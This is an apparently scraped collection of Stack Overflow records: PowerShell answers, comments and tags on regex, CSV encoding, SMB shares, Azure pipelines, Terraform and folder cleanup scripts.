has body: A larger example of the file would be useful, especially to see what kind of lines you do NOT want to touch That said: $TextContent = Get-Content -Path $FilePath $TextContent -replace &quot;(\S+).+?'([^']*)'.*&quot; , 'WHEN ''$1'' THEN ''$2''' Basically takes the characters until the first space and the characters between the first wo successive single quotes(') and rewrite the line with those. Have a example link
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79091039

http://stackoverflow.com/comment/139480103
has text: Thank you, that is exactly what I needed. I could not get that cmdlet to work but I just used Invoke-RestMethod on "/identityGovernance/privilegedAccess/group/eligibilityScheduleRequests" and its working great. Thank you for the help!
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79100935
type: AnswerComment

command
tag name: command
type: Tag
tags question: http://stackoverflow.com/q/79161849
tags question: http://stackoverflow.com/q/79188988
tags question: http://stackoverflow.com/q/79409999
tags question: http://stackoverflow.com/q/79431247

http://stackoverflow.com/comment/139449440
score: 1
has text: Note that `MessageBoxImage` doesn't represent an image, it's just an enumerator that translates to flags passed to the Win32 function, to select the required functionality. As mentioned, you can find a lot of examples related to building a custom modal window (simply a Form shown calling `ShowDialog()`, here)
comment on: http://stackoverflow.com/q/79085306
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139644272
comment on: http://stackoverflow.com/q/79110614
type: QuestionComment
type: Comment
score: 0
has text: @stackprotector i have got a testcase that fails with the error reported. Hoever, the same work for other repos and just fails for this single repo where i see the error.

http://stackoverflow.com/a/79079397
answers question: http://stackoverflow.com/q/79078591
has body: Hinted out by Mathias, what seemed you were looking for is known as Generic Methods in C# however PowerShell classes don't support this feature. The error is telling you that in your method signature you're stating that the method will take a Type as input and return a Type as output and you aren't fulfilling this contract since you're returning the instance of a type or $null (int, string, bool or $null). By changing the signature to return type of [object] the code would work properly: [object] TestType([Type] $AParam) You also will need to remove Write-Output -NoEnumerate, just return $result otherwise in PowerShell 7+ you will get unexpected return type of List , for example: (Write-Output 1 -NoEnumerate).GetType() # List It's also unclear what you want to do with $Result = New-Object $AParam, should be removed. In summary the definition should be: class Test { [Object] TestType([Type] $AParam) { Write-Host "You provided the type : $AParam" $Result = $null switch ($AParam) { ([bool]) { Write-Host "You provided the type : `"Boolean`"" $Result = $True } ([int]) { Write-Host "You provided the type : `"Integer`"" $Result = 2 } ([string]) { Write-Host "You provided the type : `"String`"" $Result = 'Miep' } Default { Write-Host "You provided the type : `"Invalid!`"" } } return $Result } } Using Generics in C# the code could be something like: public static class Test { public static T? TestType<T>() { Type type = typeof(T); object? result = type switch { _ when type == typeof(bool) => true, _ when type == typeof(int) => 2, _ when type == typeof(string) => "Miep", _ => null }; Console.WriteLine( $"You provided the type : '{result?.GetType().Name ?? "Invalid!"}'"); return (T?)result; } }
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79078591
score: 3
upvote count: 3

http://stackoverflow.com/comment/139637421
score: 1
comment on: http://stackoverflow.com/q/79187932
has text: Yes, anything outputted is just sent to standard output which defaults to the screen, so having `$returnedValue =` tells it to send it to that variable instead. If you're not using the `$returnedValue` elsewhere later you could just remove that from your code so the output is handled "normally" instead.
type: QuestionComment
type: Comment

formatting
tags question: http://stackoverflow.com/q/79188413
tag name: formatting
tags question: http://stackoverflow.com/q/79069816
type: Tag
tags question: http://stackoverflow.com/q/79375151
tags question: http://stackoverflow.com/q/79400911

http://stackoverflow.com/comment/139477524
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79100741
type: AnswerComment
has text: Thanks for the reply, but it doesn't seem to work. I'm wondering if it has something to do with the filetypes being chinese characters? The reason I needed to change the files to begin with was another application not reading the file types as characters but intead searching for a unicode/ASCII or something.

export-csv
tags question: http://stackoverflow.com/q/79238099
type: Tag
tag name: export-csv
tags question: http://stackoverflow.com/q/79110879
tags question: http://stackoverflow.com/q/79542060

http://stackoverflow.com/comment/139436621
has text: Your signature says you are returning a `Type` but you're actually returning a value. Seems like you actually want to return an `Object` to dynamically output either int, string or bool
comment on: http://stackoverflow.com/q/79078591
type: QuestionComment
type: Comment
score: 2

powershell-7
tag name: powershell-7
tags question: http://stackoverflow.com/q/79166115
tags question: http://stackoverflow.com/q/79141674
type: Tag
tags question: http://stackoverflow.com/q/79546631
tags question: http://stackoverflow.com/q/79434284

http://stackoverflow.com/comment/139653957
has text: Sounds to me then that the original was badly converted to UTF-8 (the file you are using as input). Perhaps try and convert that original [ISO-8859-1](https://en.wikipedia.org/wiki/ISO/IEC_8859-1) file yourself with `Import-Csv -Path "C:\tmp\PSProjekt\schueler_Original.csv" -Encoding Default | Export-Csv -Path "C:\tmp\PSProjekt\lol\schueler_Unicode.csv" -Encoding UTF8 -NoTypeInformation`. And yes, I would always prefer UTF-8 over UTF16-LE /// _If you are using PowerShell 7.4, change `-Encoding Default` to `-Encoding ansi`_
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79196973

http://stackoverflow.com/a/79190596
type: Answer
score: 2
upvote count: 2
has body: When talking to external programs such as net.exe, PowerShell receives text output, which must then be parsed in order to extract information of interest. This is both cumbersome and brittle, if the external program doesn't offer a (usually opt-in) way to output structured text-based data (such as CSV or JSON), as in the case at hand: You're then forced to parse a for-display representation of the output data, which may be ambiguous and/or specific to the current display language, and can conceivably change over time. Therefore, it is always preferable to use PowerShell-native commands, given that their output can be processed using object-oriented techniques, and flexibly (re)formatted with PowerShell's various Format-* cmdlets, such as Format-Table. In the case at hand, PowerShell offers the Get-SmbShare cmdlet. Therefore: # Create a CIM session for the target computer(s). # Note: You may specify *multiple* target computers here, separated with commas # (or pass them via a variable containing an array ). # Uses WS-MAN by default, but can be configured to use DCOM - details below. $session = New-CimSession COMPUTERNAME # Get all network shares published by the target computer(s), # and format the output as desired. Get-SmbShare -CimSession $session | Format-Table -Property Name ` -GroupBy @{Name='Shared resources at'; Expression='PSComputerName'} Remove-CimSession $session # Clean up. Sample output: Shared resources at: COMPUTERNAME Name ---- ADMIN$ C$ IPC$ Share1 Share2 Note: New-CimSession creates WS-MAN-based CIM sessions by default, which PowerShell's remoting is also based on; given that modern Windows server editions come with PowerShell remoting enabled by default, you should also be able to target them with CIM sessions. Using old-style DCOM-based sessions is also an option, via New-CimSessionOption; see example 7. Format-Table is used to produce the desired display format, using the properties of interest of the output objects. By using -GroupBy, with a ca…
downvote count: 0
answers question: http://stackoverflow.com/q/79188413

azure-resource-manager
tags question: http://stackoverflow.com/q/79193823
type: Tag
tag name: azure-resource-manager
tags question: http://stackoverflow.com/q/79245155
tags question: http://stackoverflow.com/q/79467791
tags question: http://stackoverflow.com/q/79537160

http://stackoverflow.com/comment/139688867
score: 1
comment on: http://stackoverflow.com/q/79216721
has text: Obviously, stop using batch files and rewrite the script in PowerShell. :)
type: QuestionComment
type: Comment

mmc
type: Tag
tags question: http://stackoverflow.com/q/79230965
tag name: mmc

http://stackoverflow.com/comment/139541100
has text: Response status code does not indicate success: 403 (Forbidden)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79133066
type: Comment

graph
tag name: graph
tags question: http://stackoverflow.com/q/79102062
type: Tag
tags question: http://stackoverflow.com/q/79400817
tags question: http://stackoverflow.com/q/79427778
tags question: http://stackoverflow.com/q/79435153

http://stackoverflow.com/comment/139776173
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment
has text: I ended up adding Status = "on" into the main object and @{Name = 'Status'; Expression = {"OFF"}}, into the "else" section. Also Added an "if statement to fill the asset tag with the Serial # if it is empty.

http://stackoverflow.com/comment/139626567
type: QuestionComment
type: Comment
has text: This is what modules are for in some extent. The class needs to be defined and loaded before the script executes. If you want to do runtime set then use the string array overload
comment on: http://stackoverflow.com/q/79182266
score: 3

http://stackoverflow.com/comment/139524840
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79126566
score: 0
has text: Also, to avoid false positives, use `... -replace ('\b' + [regex]::Escape($oldString) + '\b'), $replacements[$oldString]`

media-player
tag name: media-player
type: Tag
tags question: http://stackoverflow.com/q/79183054

excel
type: Tag
tag name: excel
tags question: http://stackoverflow.com/q/79131331
tags question: http://stackoverflow.com/q/79310971
tags question: http://stackoverflow.com/q/79398108
tags question: http://stackoverflow.com/q/79334734
tags question: http://stackoverflow.com/q/79453082
tags question: http://stackoverflow.com/q/79458483

http://stackoverflow.com/comment/139718126
type: Comment
comment on: http://stackoverflow.com/a/79230072
score: 0
has text: Do you know why we observe this difference in behaviour between Azure CLI and Azure PowerShell module: `az account get-access-token` use the authenticated session established by `az login`, but `Get-AzAccessToken` doesn't use the authenticated session established by `Connect-AzAccount`?
type: AnswerComment

http://stackoverflow.com/comment/139445245
has text: Thats expected - your new session will load the updated PATH variable that includes `aws.exe`. The above changes are concerned with modifying the PATH in current session that install aws cli. A 4th option is indeed just split the aws cli install from the steps that require the cli.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79083214
type: Comment

yaml
tag name: yaml
type: Tag
tags question: http://stackoverflow.com/q/79109456
tags question: http://stackoverflow.com/q/79117140
tags question: http://stackoverflow.com/q/79176549
tags question: http://stackoverflow.com/q/79404173

windows-services
tags question: http://stackoverflow.com/q/79094880
tag name: windows-services
type: Tag

http://stackoverflow.com/a/79136661
type: Answer
score: 0
has body: This App Cant run on your PC" "find a version for your PC, Check with software publisher. Looks like your powershell.exe used default by VS is invalid. Please open your command prompt and run the following command to detect the default locationn of powershell.exe where powershell.exe This will show the path to the PowerShell executable. Please navigate to the path C:/windows/system32/ and check if powershell.exe file existsIf not, please navigate to this path C:\Windows\System32\WindowsPowerShell\v1.0\ and copy the powershell.exe to the above folder. Besides, you can run the following command to check execution Policy,if it's set to Restricted, change it to Unrestricted. Then reopen your Developer command prompt for VS 2022 to see if the issue persists. Get-ExecutionPolicy
answers question: http://stackoverflow.com/q/79136266

http://stackoverflow.com/a/79244588
type: Answer
answers question: http://stackoverflow.com/q/79244326
score: 0
has body: It's unclear if you code works or not but to target the issues of OutOfMemoryException you should change to use a Stack&lt;T&gt; instead of function recursion (script block recursion), which is really bad in PowerShell. Another improvement to lower memory consumption can be to use DirectoryInfo instance method for directory enumeration and deletion. Here is how the code would look, however it's advisable to comment out those .Delete($true) lines and host output to ensure the code will be deleting the folders you except to be deleting. function Recursive-FolderSearch { param ( [string[]] $Paths, [string] $expiredDate ) $targetDate = Get-Date $expiredDate -ErrorAction Stop $stack = [System.Collections.Generic.Stack[System.IO.DirectoryInfo]]::new() Get-Item $Paths | ForEach-Object { if ($_ -is [System.IO.DirectoryInfo]) { $stack.Push($_) } } while ($stack.Count) { $dir = $stack.Pop() # `$dir` is always `DirectoryInfo` # condition `Test-Path $Path -PathType Container` can be removed try { $children = $dir.EnumerateDirectories() } catch { # leave empty to ignore inaccessible or add error handling here continue } if ($dir.Name -match '^\d{4}-\d{2}$') { # we don't know yet if `$dir` has child folders, assume it doesn't $hasChild = $false foreach ($child in $children) { # if we enter this loop we know `$dir` has children $hasChild = $true if ($child.Name -match '^\d{2}$') { $dateDossier = [datetime]::ParseExact( &quot;$($dir.Name)-$($child.Name)&quot;, 'yyyy-MM-dd', $null) if ($dateDossier -lt $targetDate) { # compare folder date with actual date # then suppress folder if older than requested $dir.Delete($true) } } } # Supprimer le dossier AAAA-MM s'il est vide if (-not $hasChild) { $dir.Delete($true) } continue } # here is for `$dir` didn't match pattern '^\d{4}-\d{2}$' foreach ($child in $children) { # we can push these folders $stack.Push($child) } } }
has comment: http://stackoverflow.com/comment/139738359
has comment: http://stackoverflow.com/comment/139738531

http://stackoverflow.com/a/79087635
accepted answer of: http://stackoverflow.com/q/79071809
type: AcceptedAnswer
has body: Turns out error was on my side. I was accidentally passing a comment on some parameters and that was screwing up the execution.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79071809

smb
tag name: smb
tags question: http://stackoverflow.com/q/79188413
tags question: http://stackoverflow.com/q/79140084
type: Tag
tags question: http://stackoverflow.com/q/79276781
tags question: http://stackoverflow.com/q/79347202
tags question: http://stackoverflow.com/q/79277115
tags question: http://stackoverflow.com/q/79472122

http://stackoverflow.com/a/79134482
score: 0
has body: thanks to your advices, I have done a recursive function. here it is, I know it's not perfect, but if someone gets to have the same problem, here what worked for me as my folders name have formatted name function Recursive-FolderSearch { param ( [string[]]$Paths, [string]$expiredDate ) foreach ($Path in $Paths) { if ((Test-Path $Path -PathType Container) -and (Split-Path $Path -Leaf) -match '^\d{4}-\d{2}$') { $folderDays = Get-ChildItem -Path $Path -Attributes Directory foreach ($folderDay in $folderDays) { if ($folderDay.Name -match '^\d{2}$') {# if folder respect format DD # concat folder AAAA-MM and folder format DD to get complete date $dateDossier = [datetime]::ParseExact("$(Split-Path $Path -Leaf)-$($folderDay.Name)", "yyyy-MM-dd", $null) if ($dateDossier -lt $expiredDate) { #compare folder date with actual date # then suppress folder if older than requested Remove-Item -Path $folderDay.FullName -Recurse -Force -ErrorAction SilentlyContinue } } } #Supprimer le dossier AAAA-MM s'il est vide if (-not (Get-ChildItem -Path $Path -Force -Recurse -ErrorAction SilentlyContinue )) { #| Where-Object { $_. PSIsContainer -eq $true } Remove-Item -Path $Path -Force -Recurse -ErrorAction SilentlyContinue } } elseif (Test-Path $Path -PathType Container) { $subDirs = Get-ChildItem -Path $Path -Attributes Directory -Force foreach ($subDir in $subDirs) { Recursive-FolderSearch -Paths $subDir.FullName $expiredDate } } } }
answers question: http://stackoverflow.com/q/79118908
accepted answer of: http://stackoverflow.com/q/79118908
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/139627316
type: QuestionComment
type: Comment
has text: @Ralf_Reddings: Note that you syntactically _can_ place a `using` statement before a `param(...)` block, but doing so doesn't help in your case: `using module` and `using assembly` statements are only executed at _runtime_, whereas a class needs to already be loaded at _parse time_ in order to be usable inside a `param(...)` block.
comment on: http://stackoverflow.com/q/79182266
score: 1

http://stackoverflow.com/comment/139708751
has text: @Compo, while quoting the `-Format` argument never hurts, it isn't necessary here: `Get-Date -Format dd/MM` works just fine (though not culture-invariantly). Fair point about not really needing a separator in this particular use case, but future readers may have use cases where the `/` _is_ needed in the result string.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79227225
score: 0

http://stackoverflow.com/comment/139552459
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79141485
has text: We have a portion of the input file that changes table column header from band to Phy is there a way in the following $patternbss variable to match on either band or phy for that particular field? -- \s+(?<band>or phy?[^\s]+)? Thanks,
type: AnswerComment

http://stackoverflow.com/comment/139442693
type: Comment
score: 0
has text: Good info; there are two things worth noting: in order for other, substring matches to be recorded, they must be inside _capture groups_ (`(...)`). While these are indeed accessible via indices starting with `1` by default, _named_ capture groups must be accessed by their name; e.g.: `$null = 'foo' -match 'f(?<o_chars>o+)'; $Matches['o_chars']`
comment on: http://stackoverflow.com/a/79072656
type: AnswerComment

http://stackoverflow.com/comment/139518436
type: QuestionComment
has text: @MathiasR.Jessen I tried without "| ConvertTo-Json -Compress" the result is the error I added in the Edit part of the question.
type: Comment
comment on: http://stackoverflow.com/q/79122039
score: 0

http://stackoverflow.com/comment/139497850
comment on: http://stackoverflow.com/q/79112116
type: QuestionComment
type: Comment
score: 0
has text: @js2010 what if someone were writing a powershell script to demonstrate the use of `wmic` for use in contexts where powershell is not available (WindowPE, places in the registry, install unattended files, task scheduler commands, and many more (altho those last 2 you can call powershell from the `cmd.exe` context but it STARTS in `cmd.exe`)) lol :)

cmd
tags question: http://stackoverflow.com/q/79110424
tags question: http://stackoverflow.com/q/79102588
tag name: cmd
tags question: http://stackoverflow.com/q/79209426
tags question: http://stackoverflow.com/q/79216721
type: Tag
tags question: http://stackoverflow.com/q/79207415
tags question: http://stackoverflow.com/q/79388953
tags question: http://stackoverflow.com/q/79389610

http://stackoverflow.com/a/79133066
has comment: http://stackoverflow.com/comment/139540283
has comment: http://stackoverflow.com/comment/139547562
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139541070
has comment: http://stackoverflow.com/comment/139541100
has comment: http://stackoverflow.com/comment/139541082
has body: How I can invoke one of those methods via Terraform: To access and invoke Kudu CLI commands, you can use the null_resource available in Terraform which mainly focusses on the execution of the script commands post deployment of the resource. I have taken a sample command and tried executing it once the kudu API URI has been invoked as shown below. main.tf: provider "azurerm" { features {} subscription_id = "xxxx" } resource "azurerm_resource_group" "example" { name = "kudurg" location = "West Europe" } resource "azurerm_service_plan" "example" { name = "kudupplan" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location os_type = "Linux" sku_name = "P1v2" } resource "azurerm_linux_web_app" "example" { name = "kudutestap" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "null_resource" "commands" { provisioner "local-exec" { command = <<EOT export KUDU_URL="https://${azurerm_linux_web_app.example.name}.scm.azurewebsites.net" export TOKEN=$(az account get-access-token --query accessToken -o tsv) curl -X POST "$KUDU_URL/api/command" -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"command": "ls"}' EOT } depends_on = [azurerm_linux_web_app.example] } Deployment succeeded: Reference Terraform registry azurerm_linux_web_app.
has comment: http://stackoverflow.com/comment/139541200
has comment: http://stackoverflow.com/comment/139540857
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139541172
has comment: http://stackoverflow.com/comment/139541319
accepted answer of: http://stackoverflow.com/q/79128008
answers question: http://stackoverflow.com/q/79128008
has comment: http://stackoverflow.com/comment/139539427
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139541314

http://stackoverflow.com/comment/139471371
has text: Thanks the formatting was changed to get it posted: wasnt sure how to attach to the actual request. I tried your tip but i got a loud of exceptions ?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79078578

http://stackoverflow.com/a/79164943
downvote count: 0
type: Answer
has body: Way1: Checkout multiple repos with path, You can use path in checkout, which will download source codes related to $(Pipeline.Workspace), For Linux, locations looks like /home/vsts/work/1/repo1, /home/vsts/work/1/repo2 in your case. Reference docs So you can define your template like below: - name: parameter1 type: string - name: parameter2 type: string jobs: - job: Job1 steps: - checkout: self path: repo2 - checkout: repo1 path: repo1 - task: AzureCLI@2 inputs: azureSubscription: '$(GLOBAL_SERVICE_CONNECTION)' scriptType: 'pscore' scriptLocation: 'scriptPath' scriptPath: '$(Pipeline.Workspace)/repo1/helper_scripts/script.ps1' arguments: '-WebhookURL &quot;${{ parameters.parameter1 }}&quot; -KeyVaultsToCheck &quot;${{ parameters.parameter2 }}&quot;' env: GLOBAL_SUBSCRIPTION: $(GLOBAL_SUBSCRIPTION) Way2: Checkout multiple repos without path, which related to the path $(Build.SourcesDirectory), in Linux equals to /home/vsts/work/1/s. It will download the source code of repos to the path /home/vsts/work/1/s/repo1, /home/vsts/work/1/s/repo2 in your senario. - name: parameter1 type: string - name: parameter2 type: string jobs: - job: Job1 steps: - checkout: self - checkout: repo1 - task: AzureCLI@2 inputs: azureSubscription: '$(GLOBAL_SERVICE_CONNECTION)' scriptType: 'pscore' scriptLocation: 'scriptPath' scriptPath: '$(Build.SourcesDirectory)/repo1/helper_scripts/script.ps1' arguments: '-WebhookURL &quot;${{ parameters.parameter1 }}&quot; -KeyVaultsToCheck &quot;${{ parameters.parameter2 }}&quot;' env: GLOBAL_SUBSCRIPTION: $(GLOBAL_SUBSCRIPTION)
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79163395

http://stackoverflow.com/comment/139551522
score: 1
has text: I'd guess that it's an `enum` type so try something like (an example for another type) `[enum]::GetValues([System.Security.PolicyLevelType])| ForEach-Object {@{$_ = [int]$_}}`. Please check https://stackoverflow.com/questions/4462344 for further info about `Microsoft.HyperV.Powershell` namespace…
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment

invalid-argument
type: Tag
tag name: invalid-argument
tags question: http://stackoverflow.com/q/79151185

http://stackoverflow.com/comment/139615271
type: QuestionComment
has text: Thank you Thom A for that information I have now adjusted my code to include a sort-object order and I can confirm that has now resolved my issue.
type: Comment
comment on: http://stackoverflow.com/q/79173045
score: 0

http://stackoverflow.com/comment/139438129
has text: Or, more simply: `[int64[]] (Get-Process | Where-Object Handles -gt 1000 | ForEach-Object Id` or even `[int64[]] (Get-Process | Where-Object Handles -gt 1000).Id` or, also for better performance, `[int64[]] (Get-Process).Where({ $_.Handles -gt 1000 }).Id`
type: AnswerComment
score: 2
comment on: http://stackoverflow.com/a/79078296
type: Comment

jobs
tag name: jobs
tags question: http://stackoverflow.com/q/79088290
type: Tag
tags question: http://stackoverflow.com/q/79247480
tags question: http://stackoverflow.com/q/79429293
tags question: http://stackoverflow.com/q/79422122

http://stackoverflow.com/a/79181472
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139627934
downvote count: 0
answers question: http://stackoverflow.com/q/79179722
type: Answer
accepted answer of: http://stackoverflow.com/q/79179722
score: 2
upvote count: 2
has body: Invoke-AsCurrentUser, part of the RunAsUser module, as of v2.4.0 doesn't support argument-passing, and therefore has no -ArgumentList parameter. Instead, you must "bake into" the script block any values from the caller's scope you want the script block to operate on: # Create the script block from an expandable string that references # variables from the caller's scope and expands them up front. # Note: This assumes that the environment variables referenced below # (e.g. $env:Message) exist and have appropriate values. $scriptblock = [scriptblock]::Create(@" # Note: NO param(...) declaration. # Note the need to `-escape those $ chars. that shouldn't be # expanded up front. `$wshell = New-Object -ComObject Wscript.Shell # Reference the environment variables here, using appropriate # embedded quoting: `$wshell.Popup("$env:Message", $env:WaitSeconds, "$env:Title", $env:BoxType) # Note: No need for an explicit output command: # The .Popup() call's return value is *implicitly* output. "@) $str = Invoke-AsCurrentUser -ScriptBlock $scriptblock -CaptureOutput Note: The above uses the here-string variant of an expandable (interpolating), double-quoted string ("...") to create the source code for the script block with the caller's values embedded. The source code is then converted to a script block with [scriptblock]::Create(). An upcoming version of the RunAsUser module will have built-in support for this, via a newly introduced -ExpandStringVariables switch (source code), which allows you to pass regular script-block literals ({ ... }). Caveat: You'll still need to manually `-escape $ characters in front of variable references that you do not want expanded (interpolated up front), such as in the case of $wshell above, and you'll still need to use embedded quoting around variable references that may expand to values with spaces or other metacharacters, such as around $env:Message above.
has comment: http://stackoverflow.com/comment/139627932

visual-studio-2019
type: Tag
tags question: http://stackoverflow.com/q/79084760
tag name: visual-studio-2019

http://stackoverflow.com/comment/139708677
type: QuestionComment
type: Comment
has text: I don't, but It's set by another team so getting a change is not a simple task.
score: 0
comment on: http://stackoverflow.com/q/79224704

http://stackoverflow.com/comment/139502754
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79102833
type: AnswerComment
has text: Hello. That makes sense as to why the "Headers" are encrypted. However, while the test connection does work, the preview of the source does not and I get a 404 error message when I try a copy action.

http://stackoverflow.com/comment/139631016
score: 1
comment on: http://stackoverflow.com/q/79184599
type: QuestionComment
type: Comment
has text: Have you consider using Azure Policies? They can be used to **enforce** common and consistent tag usage, or **audit** existing resources. See [Create and manage policies to enforce compliance](https://learn.microsoft.com/en-us/azure/governance/policy/tutorials/create-and-manage), [Manage tag governance with Azure Policy](https://learn.microsoft.com/en-us/azure/governance/policy/tutorials/govern-tags) and [Assign policy definitions for tag compliance](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/tag-policies).

uninstallation
tag name: uninstallation
type: Tag
tags question: http://stackoverflow.com/q/79216317
tags question: http://stackoverflow.com/q/79258378

http://stackoverflow.com/comment/139697370
type: QuestionComment
type: Comment
has text: What @MadScientist said is just what I want to achieve to avoid calling powershel 4 times
comment on: http://stackoverflow.com/q/79219476
score: 0

http://stackoverflow.com/comment/139626124
type: QuestionComment
has text: And show the code of your script and how you run it from Task Scheduler
score: 2
type: Comment
comment on: http://stackoverflow.com/q/79181934

http://stackoverflow.com/a/79158066
has comment: http://stackoverflow.com/comment/139644594
has body: 404 Not Found when calling Microsoft.DomainRegistration/generateSsoRequest: 404 error found due to the below given reasons. Check below: Firstly, open the portal and check if you have necessary administrative privileges to create a domain service and generate a sso request. If it is showing in the below way, then you are not eligible to perform operations, and it might show http error codes. According to the MSDoc, You need Application Administrator and Groups Administrator Microsoft Entra roles in your tenant to enable Domain Services. Also you can check this MSDoc suggested by @jdweng for RBAC role related issues. Check the API version of the resource provider again and also try calling it with the Invoke-RestMethod instead of web request to validate it. If still the issue persists, you can use Cloudflare Workers to send custom HTTP headers which is detailed in this blog rather than generating a sso request approach.
has comment: http://stackoverflow.com/comment/139613158
answers question: http://stackoverflow.com/q/79104926
type: Answer
has comment: http://stackoverflow.com/comment/139635960
score: 0

http://stackoverflow.com/comment/139644104
comment on: http://stackoverflow.com/q/79188856
type: QuestionComment
type: Comment
has text: [Authorization_RequestDenied] : Insufficient privileges to complete the operation. I'm getting the error @VenkatV
score: 0

http://stackoverflow.com/comment/139540857
type: Comment
score: 0
has text: Yes I am running it on the Azure CLI. I would suggest you to use AZ CLI when dealing with the Azure Terraform. @TheDemonLord
comment on: http://stackoverflow.com/a/79133066
type: AnswerComment

http://stackoverflow.com/comment/139524239
type: QuestionComment
type: Comment
has text: @mclayton I'm afraid that the `Trace-Command` is not helpful here.
comment on: http://stackoverflow.com/q/79124278
score: 0

http://stackoverflow.com/comment/139584041
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment
has text: Returns nothing, but doesn't throw an error. I've tried without `.value__` and with `| fl`, nothing is returned. I've edited my answer with more info.
score: 0

http://stackoverflow.com/comment/139668148
score: 0
comment on: http://stackoverflow.com/q/79186427
type: QuestionComment
has text: Have your debugging efforts provided any clues as to where the program flow is misbehaving?
type: Comment

http://stackoverflow.com/comment/139657433
type: Comment
has text: @PhysyCola I am not sure I follow your logic here. Solution 2 and 3 are *a single `scp` command*. It will require only one authentication for all the files.
score: 0
comment on: http://stackoverflow.com/a/79198109
type: AnswerComment

http://stackoverflow.com/comment/139639189
type: AnswerComment
has text: @JTR The error text clearly shows you're running something other than the code provided in my answer. Make sure the method used is `Post`, not `Put`, and perhaps try removing the `/jira` part from the hostname if it still returns 404 (eg. `$jiraHostName = "https://jira:8010"`)
comment on: http://stackoverflow.com/a/79188739
type: Comment
score: 1

trojan
type: Tag
tags question: http://stackoverflow.com/q/79207415
tag name: trojan

explorer
tag name: explorer
tags question: http://stackoverflow.com/q/79125645
type: Tag
tags question: http://stackoverflow.com/q/79279035

http://stackoverflow.com/comment/139563092
type: Comment
has text: I run the script with an azure pipeline with windows-2022 but still the output is emtpy User Emails (To): Manager Emails (CC): I will use the Write-Host commands from your script to check the cause
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466

http://stackoverflow.com/comment/139731258
type: Comment
comment on: http://stackoverflow.com/a/79240616
score: 1
has text: The following may be of interest: https://stackoverflow.com/a/51146532/10024425 and https://stackoverflow.com/a/66787416/10024425
type: AnswerComment

http://stackoverflow.com/comment/139672365
type: QuestionComment
type: Comment
has text: @Jae The only thing indicated by the code itself is that it 1) downloads content off the internet, and 2) executes the downloaded content as PowerShell code.
comment on: http://stackoverflow.com/q/79207415
score: 1

http://stackoverflow.com/a/79174029
answers question: http://stackoverflow.com/q/79173936
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79173936
score: 1
type: AcceptedAnswer
has body: Use the static fields of the static [System.Windows.Forms.DataFormats] class to specify a well-known data format as the argument in a [System.Windows.Forms.Clipboard]::ContainsData() call, specifically [System.Windows.Forms.DataFormats]::Html in this case: # Checks if HTML text (source code) has been copied to the clipboard. [System.Windows.Forms.Clipboard]::ContainsData( [System.Windows.Forms.DataFormats]::Html ) Note that this tests for data that has been explicitly declared as representing HTML when it was copied - as notably happens when you select and copy text in a web browser - not just any string data that happens to be HTML. Similarly, you can pass the same fields to the [System.Windows.Forms.Clipboard]::GetData() method in order to retrieve a well-known format: # Retrieves HTML text that has been copied to the clipboard # as a [string] instance. # If there is none, $null is returned. [System.Windows.Forms.Clipboard]::GetData( [System.Windows.Forms.DataFormats]::Html ) Note that the resulting, multiline [string] includes metadata that precedes the raw HTML source code; for example: Version:0.9 StartHTML:0000000225 EndHTML:0000000933 StartFragment:0000000261 EndFragment:0000000897 SourceURL:https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.dataformats?view=windowsdesktop-8.0#fields <span style="color: rgb(22, 22, 22); font-family: "Segoe UI", SegoeUI, "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;">Use
type: Answer
downvote count: 0

http://stackoverflow.com/a/79212174
answers question: http://stackoverflow.com/q/79208376
upvote count: 1
score: 1
downvote count: 0
type: Answer
has body: Zett42 has the right answer: I added Clear-Host to the script and that cleared the whole terminal coloring the background the color I set $host.ui.rawui.backgroundcolor.

http://stackoverflow.com/comment/139480466
has text: Thank you. It worked, but I still don't understand why it worked this way and not with my first attempt.
score: 1
comment on: http://stackoverflow.com/a/79102125
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139452251
type: Comment
has text: Thank you for solving that... Brain cloud
comment on: http://stackoverflow.com/a/79079716
score: 0
type: AnswerComment

http://stackoverflow.com/a/79086454
has comment: http://stackoverflow.com/comment/139453507
has body: Clear-Host app.exe Start-Sleep 01 [System.Windows.Forms.SendKeys]::SendWait("^a") [System.Windows.Forms.SendKeys]::SendWait("{ENTER}") Get-Clipboard | Out-FIle C:\TEMP\AppExe-Output.txt might work but is not as powershell...esk Does this not work? App.exe | Out-File C:\TEMP\App-OutFile.txt
answers question: http://stackoverflow.com/q/79084361
